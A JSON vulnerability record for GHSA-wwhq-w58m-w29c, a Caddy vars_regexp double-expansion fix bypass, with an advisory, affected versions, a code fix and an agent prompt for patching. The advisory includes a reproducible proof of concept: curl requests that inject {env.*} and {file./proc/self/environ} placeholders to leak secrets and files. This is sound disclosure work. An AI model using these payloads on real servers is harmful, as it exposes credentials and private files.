{"answers":{"affected":"3 open source packages ship an affected version, including github.com/caddyserver/caddy/v2.","exploited":"There is no known exploitation of GHSA-wwhq-w58m-w29c in the wild and no public exploit code.","fix":"Upgrade github.com/caddyserver/caddy/v2 to 2.11.3 or later.","what":"GHSA-wwhq-w58m-w29c is a vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-wwhq-w58m-w29c and fix it if it is affected.\n\nWhat it is: GHSA-wwhq-w58m-w29c is a vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-wwhq-w58m-w29c in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/caddyserver/caddy/v2 (Go): affected from 2.11.0 up to 2.11.2; no fix listed\n- github.com/caddyserver/caddy/v2 (Go): affected from 2.11.0 up to 2.11.2; no fix listed\n- github.com/caddyserver/caddy/v2 (Go): affected from 2.11.0; fixed in 2.11.3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-wwhq-w58m-w29c/ (Markdown: https://insights.sbomify.com/GHSA-wwhq-w58m-w29c/index.md)","id":"GHSA-wwhq-w58m-w29c","markdown":"https://insights.sbomify.com/GHSA-wwhq-w58m-w29c/index.md","name":"GHSA-wwhq-w58m-w29c","record":{"aliases":["GO-2026-5730"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["data_read"],"network_reachable":"yes","non_default_config":true,"product_category":"Caddy web server","requires_auth":"none","summary":"Attackers can leak secrets and read files via double expansion in Caddy's vars_regexp when using literal keys in specific configurations.","user_interaction":"not_required","vuln_class":"information_disclosure"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"# \n\n## TL;DR\n\nCVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header → Caddy expands it on the second pass → secrets leaked in response headers.\n\n**Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.\n\n## Root Cause\n\n`modules/caddyhttp/vars.go`, lines 215-217:\n\n```go\nvalExpanded = varStr\nif !fromPlaceholder {\n    valExpanded = repl.ReplaceAll(varStr, \"\")  // ← SECOND EXPANSION\n}\n```\n\nSame issue at line 358-360 in `MatchVarsRE`.\n\n`fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`.\n\n### Expansion chain:\n\n1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}`\n2. Request header: `X-Tenant-ID: {env.SECRET}`\n3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll(\"{http.request.header.X-Tenant-ID}\", \"\")` → resolves to literal string `{env.SECRET}`. Stored in vars map.\n4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll(\"{env.SECRET}\", \"\")` → resolves to the actual secret value.\n5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`.\n\n## Impact\n\n- **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc.\n- **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}`\n- **System info:** `{system.hostname}`, `{system.os}`\n- **Full env dump in one request:** `{file./proc/self/environ}`\n\n## Realistic Attack Scenario\n\nAPI gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.\n\n```\n# Caddyfile\n:8080 {\n    vars tenant_id {http.request.header.X-Tenant-ID}\n    @has_tenant vars_regexp tenant tenant_id (.+)\n    handle @has_tenant {\n        header X-Tenant-ID \"{re.tenant.1}\"\n        reverse_proxy tenant-backend:8080\n    }\n    respond \"Missing X-Tenant-ID header\" 400\n}\n```\n\n```\n# docker-compose.yml\nservices:\n  caddy:\n    image: caddy:2.11.2\n    ports:\n      - \"8080:8080\"\n    volumes:\n      - ./Caddyfile:/etc/caddy/Caddyfile:ro\n    environment:\n      - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345\n      - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production\n      - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n      - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY\n```\n\nAttacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}`\nResponse contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`\n\n## Reproduce\n\n```bash\ndocker compose up -d\nsleep 2\n\n# Normal request — works as expected\ncurl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: acme-corp\n\n# Leak env var via response header\ncurl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345\n\n# Leak AWS credentials\ncurl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n# Read arbitrary file\ncurl -sI -H \"X-Tenant-ID: {file./etc/passwd}\" http://localhost:8080/ | grep X-Tenant\n\n# Dump ALL env vars (Linux)\ncurl -s -H \"X-Tenant-ID: {file./proc/self/environ}\" http://localhost:8080/\n```\n\n## Confirmed Test Output (Caddy v2.11.2)\n\n```\n$ curl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: acme-corp\nX-Routed-To: tenant-acme-corp\n\n$ curl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: sk-SUPER-SECRET-KEY-12345\nX-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345\n\n$ curl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nX-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n$ curl -sI -H \"X-Tenant-ID: {file./etc/hostname}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: 06140d4a8645\n```\n\n## Fix\n\nApply expansion guard to BOTH branches:\n\n```go\n// vars.go line 215-217 — fix:\nvalExpanded = varStr\n// REMOVE: if !fromPlaceholder {\n//     valExpanded = repl.ReplaceAll(varStr, \"\")\n// }\n```\n\nOr sanitize vars stored from user input before re-expansion.","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Caddy CVE-2026-30852 Fix Bypass","id":"GHSA-wwhq-w58m-w29c","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"information_disclosure","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":[],"introduced":["2.11.0"],"last_affected":["2.11.2"],"package":"github.com/caddyserver/caddy/v2","purl":null,"source":"GHSA-wwhq-w58m-w29c"},{"ecosystem":"Go","fixed":[],"introduced":["2.11.0"],"last_affected":["2.11.2"],"package":"github.com/caddyserver/caddy/v2","purl":"pkg:golang/github.com/caddyserver/caddy/v2","source":"GHSA-wwhq-w58m-w29c"},{"ecosystem":"Go","fixed":["2.11.3"],"introduced":["2.11.0"],"last_affected":[],"package":"github.com/caddyserver/caddy/v2","purl":"pkg:golang/github.com/caddyserver/caddy/v2","source":"GO-2026-5730"}],"products":null,"published":"2026-05-19","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can leak secrets and read files via double expansion in Caddy's vars_regexp when using literal keys in specific configurations.","url":"https://insights.sbomify.com/GHSA-wwhq-w58m-w29c/"}